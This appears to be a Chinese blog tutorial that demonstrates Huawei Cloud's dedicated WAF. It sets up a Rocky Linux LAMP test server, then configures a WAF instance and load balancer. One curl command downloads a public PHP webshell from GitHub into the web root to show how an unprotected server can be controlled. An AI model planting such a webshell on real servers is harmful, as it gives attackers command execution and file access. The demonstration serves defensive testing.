跳转至

华为云 WAF Demo

测试环境搭建

这里选择的Rocky Linux8.5做为测试环境,该发行版是centos的一个分支和替代版本。这里先安装下LAMP环境(测试情况下,可以不需要mysql或mariadb),先测试没有WAF的情况下是什么样子的。

1
2
3
4
[root@ecs-9dea ~]# cat /etc/redhat-release
Rocky Linux release 8.5 (Green Obsidian)
[root@ecs-9dea ~]# yum -y install httpd php
[root@ecs-9dea ~]# systemctl start httpd

到/var/www/html目录下创建phpinfo.php,确保环境是正常运行起来了。

1
2
3
4
5
[root@ecs-9dea ~]# cd /var/www/html/
[root@ecs-9dea html]# cat phpinfo.php
<?php
phpinfo();
?>

接下来执行如下命令创建一个测试backdoor后门:

1
curl https://raw.githubusercontent.com/xl7dev/WebShell/master/Php/Ani-Shell.php > /var/www/html/test.php

backdoor test

通过选择shell等,我们可以查看OS上的相关文件,执行相关命令,其他相关功能也是一样的。从这里可以看到,服务器在没有防护的情况下,一旦被黑客发现任何可以入侵的漏洞,都是很容易被进一步提取和控制主机进行一些非法操作的。

WAF环境配置

首先确认下流量的访问路径:

  • 有WAF的情况下:外网/VPN/专线 ---> 外网ELB ---> WAF实例(生产环境下一般是主备两个) ---> 内网ELB(可选)---> WEB网站
  • 无WAF的情况下:外网/VPN/专线 ---> WEB网站(EIP)

1.购买WAF

如下图,这里选择支持按需的独享模式下的WAF,这里出于测试目的,安全组选择了全开,如果实际生产,可以根据实际需要开相关端口,比如只允许 443/80端口开放。

purchase dedicated mode waf

注意这个创建过程中需要花3-5分钟左右的时间,这个可以在 Instance Management → Dedicated Engine 界面查看到当前的运行状态,如果确认已经是 Running 状态,表示已经正常运行了。

2.配置WAF

在 WAF console界面点选 website settings,

add a waf website

注意,这里的防护端口是根据被防护的端口决定的,比如这里设置为8080,对在ELB上配置后端监听端口时也要保持一致。

注意这里配置完成后,会出现如下提示:

  • Step 1: Buy a load balancer.
  • Step 2: Add a listener to the load balancer.
  • Step 3: Add a backend server group to the listener.
  • Step 4: Confirm the configuration.

捐赠本站(Donate)

weixin_pay
如您感觉文章有用,可扫码捐赠本站!(If the article useful, you can scan the QR code to donate))